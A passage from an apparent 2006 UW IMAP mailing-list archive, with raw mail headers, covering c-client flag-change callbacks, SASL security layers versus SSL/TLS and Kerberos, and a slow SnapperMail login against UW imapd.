of messages in the mailbox changes. The actual situation is that we are developing a c-client based voice messaging application that will be run from VoIP phones to listen to voice messages stored on an IMAP server. If new messages come in, we turn on the message waiting indicator on the phone using a mail_ping() loop. This also works if messages are deleted and expunged from another phone or IMAP client. But if those messages are then read but not deleted, we want to turn the light off, but our client is unaware of the state change. Is there some relatively efficient way to detect changes in message status, or do we need to go and check all the message flags by hand each time through the loop? Thanks, Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Feb 6 19:43:59 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Feb 2006 19:43:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hx4K030492 for ; Mon, 6 Feb 2006 19:43:59 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hwOP009313 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 19:43:58 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hsaK022833 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Feb 2006 19:43:54 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hs4T004589; Mon, 6 Feb 2006 19:43:54 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hrG5004569 for ; Mon, 6 Feb 2006 19:43:53 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hriO013770 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 6 Feb 2006 19:43:53 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hqEU020022 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 19:43:53 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173hnil027467 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 6 Feb 2006 19:43:52 -0800 Date: Mon, 6 Feb 2006 19:43:42 -0800 From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] sasl secuity-layer support In-Reply-To: Message-ID: References: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> <79F1811BCAE5C197F39B0AFB@[10.0.1.3]> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Mark, comments interspersed below. On Mon, 6 Feb 2006, Mark Sirota wrote: > However, I > think most server administrators would choose SASL security layers over > TLS/SSL, if given the choice -- no certificates to manage (including > things like the revocation problem), and better performance at scale. I don't understand how this can be an either/or. TLS/SSL seems to be a given for the foreseeable future. Thus, the question is whether or not SASL security layers should also exist as an "and". The benefits to SASL security layers (at least that I am aware of) are: . possible savings of an RTT . savings of SSL/TLS key generation overhead on the server. The disadvantages that I see are: . greater complexity -- more security-critical code (and worse, code that is not often tested/exercised) . limited client implementation (chicken & egg problem) . limited overall deployment. DIGEST-MD5 has real problems, and Kerberos remains uncommon. Very few people use the Kerberos code now. > I don't buy into the argument that server administrators should be forced > to accept the worst case. We can begrudgingly accept the worst case, and > work to minimize its occurrence. Why do you feel that SSL/TLS for session integrity, and Kerberos for authentication, is a "worst case"? My intent isn't to be argumentative; I'd really like to be convinced because my own arguments in favor of doing SASL security layers failed to convince me. > In addition, we try to take a long-term view and stay on the high road > when it comes to doing things The Right Way. Call me old school (I've > been doing this Internet e-mail thing for 21 years), but for me and my > organization this has actual value. I've been doing this Internet e-mail thing from back when it was ARPAnet (before Internet). 32 years, as I calculate it. So I guess that I'm old school. I'd like to hear a convincing argument why it's important to bundle session integrity with authentication, and why this is better than using SSL/TLS for session integrity and Kerberos etc. for authentication. Note that SSL/TLS has client certificates (& the EXTERNAL SASL authenticator), but that doesn't seem to have progressed very far either. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Feb 6 19:48:13 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Feb 2006 19:48:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173mD7X030730 for ; Mon, 6 Feb 2006 19:48:13 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173mCsv009598 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 19:48:12 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173m8vE014074 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 6 Feb 2006 19:48:09 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173m8aG005118; Mon, 6 Feb 2006 19:48:08 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173m7vd005110 for ; Mon, 6 Feb 2006 19:48:07 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173m7rU014079 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 6 Feb 2006 19:48:07 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173m63P016975 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Feb 2006 19:48:06 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k173m3Kk032370 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 6 Feb 2006 19:48:06 -0800 Date: Mon, 6 Feb 2006 19:47:58 -0800 From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] Detecting flag changes from c-client? In-Reply-To: <3E0EEAD8E94FD29A060E4E3E@[10.0.1.3]> Message-ID: References: <3E0EEAD8E94FD29A060E4E3E@[10.0.1.3]> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 6 Feb 2006, Mark Sirota wrote: > We're looking for a way from the c-client to detect whether any message > flags have changed. > We were hoping mail_ping() would call mm_exists() if any flags have > changed, but it does not seem to do so -- if I'm understanding correctly, > mm_exists() will only be called if the number of messages in the mailbox > changes. The callback that you want is mm_flags(). > Is there some relatively efficient way to detect changes in message > status, or do we need to go and check all the message flags by hand each > time through the loop? Yes. mm_flags(). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 02:00:27 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 02:00:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17A0REP017184 for ; Tue, 7 Feb 2006 02:00:27 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17A0Q8m029767 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 02:00:26 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17A0MNq027889 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 02:00:22 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17A0M6L004762; Tue, 7 Feb 2006 02:00:22 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17A0LRh004754 for ; Tue, 7 Feb 2006 02:00:21 -0800 Received: from mailgate1.uni-kl.de (mailgate1.uni-kl.de [131.246.120.5]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17A0Ins005995 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 7 Feb 2006 02:00:20 -0800 Received: from sushi.unix-ag.uni-kl.de (saumagen.unix-ag.uni-kl.de [IPv6:2001:638:208:89::6]) by mailgate1.uni-kl.de (8.13.4/8.13.4/Debian-3) with ESMTP id k17A0HSO029176 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Tue, 7 Feb 2006 11:00:17 +0100 Received: from sushi.unix-ag.uni-kl.de (ip6-localhost [IPv6:::1]) by sushi.unix-ag.uni-kl.de (8.13.4/8.13.4/Debian-3) with ESMTP id k17A0Hf5031154 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Tue, 7 Feb 2006 11:00:17 +0100 Received: (from massar@localhost) by sushi.unix-ag.uni-kl.de (8.13.4/8.13.4/Submit) id k17A0EGw031147 for imap-uw@u.washington.edu; Tue, 7 Feb 2006 11:00:14 +0100 From: Maurice Massar Date: Tue, 7 Feb 2006 11:00:14 +0100 To: UW IMAP Software Interest List Subject: Re: [Imap-uw] sasl secuity-layer support Message-ID: <20060207100014.GK1167@sushi.unix-ag.uni-kl.de> References: <20060204014706.GJ1167@sushi.unix-ag.uni-kl.de> <79F1811BCAE5C197F39B0AFB@[10.0.1.3]> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.11 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu hi, On Mon, Feb 06, 2006 at 07:43:42PM -0800, Mark Crispin wrote: > On Mon, 6 Feb 2006, Mark Sirota wrote: > >I don't buy into the argument that server administrators should be forced > >to accept the worst case. We can begrudgingly accept the worst case, and > >work to minimize its occurrence. > > I'd like to hear a convincing argument why it's important to bundle > session integrity with authentication, and why this is better than using > SSL/TLS for session integrity and Kerberos etc. for authentication. Note > that SSL/TLS has client certificates (& the EXTERNAL SASL authenticator), > but that doesn't seem to have progressed very far either. A problem with SSL/TLS is that the user gets a question wheter to accept an unknown certificate. Today these questions are that common that an average user does not even look at it. The point is: when using gssapi/kerberos for authentication and encryption, the user does not have to care. Login either succeeds or fails, but in the case of an MitM attack there is no way to login anyway. In the case where administrators have control over both server and clients computers, an average user will probably not even notice that there is an IMAP connection. > Why do you feel that SSL/TLS for session integrity, and Kerberos for > authentication, is a "worst case"? In this case SSL/TLS is what authenticates the server. Meaning: the user must check the certificate. Or: have a CA-Cert (verified!) and an uptodate CRL. If the user is clicks to accept an bogus-certifacte then there is no security. An attacker can setup a proxy-server with an self-signed certificate, do the SSL setup, pass-through Kerberos authentication, and take over the session afterwards. For this reason, I do not like SSL/TLS with Certifactes. An alternative would be SSL with Kerberos instead of Certs as documented in RFC 2712. But support for this is even worse then SASL with GSSAPI and Security layers (afaik. All I could get working so far, without patching, is openssl s_client to s_server and s_client to apache. But apache won't get a client cert and thus, the authentication ssl has done can not be used.) > . limited client implementation (chicken & egg problem) this is a good reason to start implementing it (-: > . limited overall deployment. DIGEST-MD5 has real problems, and Kerberos > remains uncommon. Very few people use the Kerberos code now. Using Kerberos as serverl benefits: - The Server does not need access to the clear-text password of an user. It is neither stored local (as with digest-md5) nor send to the server. In the case of cross-realm trusts, this can extend to a campus-central mail-server able to authenticate all users, but only the department KDC knows the long-term secret. cu maurice _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 07:37:07 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 07:37:07 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17Fb7wB001139 for ; Tue, 7 Feb 2006 07:37:07 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17Fb6XV016172 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 07:37:06 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17Fb0J5002797 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 07:37:01 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17Fb09g014702; Tue, 7 Feb 2006 07:37:00 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17FaxiM014694 for ; Tue, 7 Feb 2006 07:36:59 -0800 Received: from mail95.messagelabs.com (mail95.messagelabs.com [216.82.241.67]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id k17Fal3e030324 for ; Tue, 7 Feb 2006 07:36:58 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-15.tower-95.messagelabs.com!1139326606!19692748!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 5353 invoked from network); 7 Feb 2006 15:36:46 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-15.tower-95.messagelabs.com with SMTP; 7 Feb 2006 15:36:46 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 6772A191E; Tue, 7 Feb 2006 10:36:46 -0500 (EST) Date: Tue, 07 Feb 2006 10:36:44 -0500 From: Mark Sirota To: Mark Crispin Subject: Re: [Imap-uw] Detecting flag changes from c-client? Message-ID: In-Reply-To: References: <3E0EEAD8E94FD29A060E4E3E@[10.0.1.3]> X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On February 6, 2006 7:47:58 PM -0800 Mark Crispin wrote: > The callback that you want is mm_flags(). mail_ping() does not seem to trigger mm_flags() (or mm_expunged() or mm_exists()) in this instance, where it is another client that is making the flag changes. This is using imap-2006.DEV.SNAP-0601131625. Is there some additional detail we might be able to provide that would help debug this? Thanks, Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 08:04:54 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 08:04:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4siD002479 for ; Tue, 7 Feb 2006 08:04:54 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4rd7014779 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 08:04:53 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4nkH011043 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 08:04:49 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4nhC026224; Tue, 7 Feb 2006 08:04:49 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4mJb026216 for ; Tue, 7 Feb 2006 08:04:48 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4l8W010665 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 7 Feb 2006 08:04:47 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4l8W011628 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 08:04:47 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17G4hbj002312 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 7 Feb 2006 08:04:46 -0800 Date: Tue, 7 Feb 2006 08:04:41 -0800 From: Mark Crispin To: Mark Sirota Subject: Re: [Imap-uw] Detecting flag changes from c-client? In-Reply-To: Message-ID: References: <3E0EEAD8E94FD29A060E4E3E@[10.0.1.3]> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 7 Feb 2006, Mark Sirota wrote: > mail_ping() does not seem to trigger mm_flags() (or mm_expunged() or > mm_exists()) in this instance, where it is another client that is making > the flag changes. This is using imap-2006.DEV.SNAP-0601131625. What mailbox format are you using? What operating system? It works fine for me with mbx format on Linux, Mac OS X, and AIX. mail_ping() does not always do an mm_exists() callback; it only does so when there is new mail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 14:19:11 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 14:19:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MJBd6023881 for ; Tue, 7 Feb 2006 14:19:11 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MJAvp006994 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 14:19:10 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MJ64x018223 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 14:19:06 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MJ63A020434; Tue, 7 Feb 2006 14:19:06 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MJ3jj020424 for ; Tue, 7 Feb 2006 14:19:03 -0800 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MIBLr032628 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 7 Feb 2006 14:19:03 -0800 Received: from peaberry.mit.edu ([18.62.4.197]) by mtl.mit.edu with asmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1F6b9O-0001oE-2x for imap-uw@u.washington.edu; Tue, 07 Feb 2006 17:17:30 -0500 Message-ID: <43E91C79.8050507@mtl.mit.edu> Date: Tue, 07 Feb 2006 17:17:29 -0500 From: Thomas Lohman User-Agent: Thunderbird 1.5 (Windows/20051201) MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MTL-MailServer: Found to be clean X-MTL-MailServer-From: thomasl@mtl.mit.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] problem between SnapperMail 2.3.2-01 and Imapd 2004c X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: thomasl@mtl.mit.edu List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello all, We've recently had a rash of folks using Treo 650 phones with SnapperMail 2.3.2 installed to read their email via secure IMAP. We're currently running Imap 2004c and there appears to be a strange problem in the initial authorization phase. On the phone side, SnapperMail goes through some initial steps such as Authenticating, Securing and then it gets to Authorizing. At this step, it will hang for a few minutes or more and then eventually continue on successfully. While it works, our users are wondering if there is any fix to the long wait on initial connect. In looking at the mail server side of things as well as network traffic, an imapd process is forked off from inetd and is sitting on a door_call system call. The last packet sent to the phone's network is from our mail server. Then there is no traffic whatsoever for those few minutes. After a few minutes, communication between the two resumes with the mail server sending the first packet after the delay and then things seem to function normally and users can send/receive mail. But we're at a loss of what is going on during the Authorizing phase and in addition, we've done some tests against Courier and Cyrus IMAP servers and they don't seem to have the same delay during this part of the handshaking. On the SnapperMail side, we have it configured to use Secure IMAP on port 993 with Always Trust Server selected. As mentioned, it does seem to work ok except for this initial long delay. So, I am wondering if I might get lucky and have someone else out there who has used SnapperMail with UW IMAPD and has either not had problems or have had similar problems. And if you did have problems were you able to solve them? thanks much, --Thomas Lohman - thomasl@mtl.mit.edu Senior Systems/Software Developer Microsystems Technology Laboratories - MIT _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Feb 7 14:33:14 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Feb 2006 14:33:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MXEWV024619 for ; Tue, 7 Feb 2006 14:33:14 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MXDg0012704 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 7 Feb 2006 14:33:13 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MX9Dw007778 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 7 Feb 2006 14:33:09 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k17MX9cJ023632; Tue, 7 Feb 2006 14:33:09 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu 